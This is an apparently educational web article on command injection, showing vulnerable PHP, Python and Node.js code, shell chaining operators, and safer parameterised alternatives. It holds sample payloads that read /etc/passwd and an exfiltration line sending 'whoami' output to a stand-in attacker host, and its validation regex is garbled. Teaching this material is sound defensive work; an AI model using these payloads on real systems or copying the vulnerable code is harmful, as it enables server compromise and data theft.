Command Injection: Exploiting System Commands in Web Apps
Understand command injection attacks where attackers execute arbitrary system commands through vulnerable applications and how to prevent them.
When the OS Obeys the Attacker
A web app has a "ping" feature: you enter an IP, it runs ping -c 4 YOUR_INPUT. You enter 127.0.0.1; cat /etc/passwd. The server executes both commands. The operating system just ran whatever the attacker wanted. This is command injection — the most severe web vulnerability because it gives the attacker direct shell access to the underlying server, not just the database or application layer.
Prerequisites
Before studying command injection, you should understand:
How Command Injection Works
Applications execute system commands for tasks like running system utilities (ping, nslookup), processing files (convert, ffmpeg), sending emails, and managing network interfaces. When user input is incorporated without sanitization, attackers inject additional commands.
Basic Example
<?php
$target = $_GET['host'];
$output = shell_exec("ping -c 4 " . $target);
echo "<pre>$output</pre>";
?>
Normal request: /ping?host=google.com
Attacker injects: /ping?host=google.com;cat+/etc/passwd
Command Injection Techniques
Command Chaining Operators
# Semicolon — run sequentially
command1; command2
# Pipe — pass output
command1 | command2
# Logical AND — run if previous succeeded
command1 && command2
# Logical OR — run if previous failed
command1 || command2
# Subshell execution
$(command)
`command`
# Newline
%0acommand
Blind Command Injection
When output is not returned, use time-based or out-of-band techniques:
# Time-based detection
sleep 5
# Out-of-band DNS exfiltration
curl http://attacker-server.com/$(whoami)
Command Injection in Different Languages
Python
# Vulnerable
import os
host = request.args.get('host')
os.system(f"ping -c 4 {host}")
# Also vulnerable
import subprocess
subprocess.call(f"ping -c 4 {host}", shell=True)
# Safe
subprocess.call(["ping", "-c", "4", host])
Node.js
// Vulnerable
const { exec } = require('child_process');
exec(`ping -c 4 ${req.query.host}`);
// Safer
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', host]);
Command Injection Prevention
Avoid Shell Execution Entirely
Use libraries instead of system commands:
import ping3
result = ping3.ping('8.8.8.8')
import requests
response = requests.get(user_supplied_url)
Use Parameterized APIs
import subprocess
subprocess.run(['ffmpeg', '-i', input_file, '-o', output_file])
Input Validation
import re
def validate_hostname(hostname):
pattern = r'^[a-zA-Z0-9.-]+#039;
if not re.match(pattern, hostname):
raise ValueError("Invalid hostname")
return hostname
Real-World Examples
Equifax Breach (2017): Started with a command injection vulnerability in Apache Struts (CVE-2017-5638), leading to exposure of 147 million records.
Drupalgeddon 2 (2018): CVE-2018-7600 allowed remote command execution in Drupal core, affecting millions of websites.
Shellshock (2014): CVE-2014-6271 allowed executing commands through environment variables in Bash, affecting countless servers.
Common Mistakes
Only escaping spaces: Injection operators like |, ;, && can bypass space-based filters.
Client-side validation only: Attackers bypass browser validation and send raw HTTP requests.
Relying on blacklists: Too many injection vectors exist. Use allowlists.
Best Practices
Related Tools
Related Articles
Summary
Command injection allows attackers to execute arbitrary OS commands through vulnerable applications. Prevention requires avoiding shell execution when possible, using parameterized APIs, and implementing strict input validation. The impact is severe — complete server compromise — making this one of the most critical web vulnerabilities.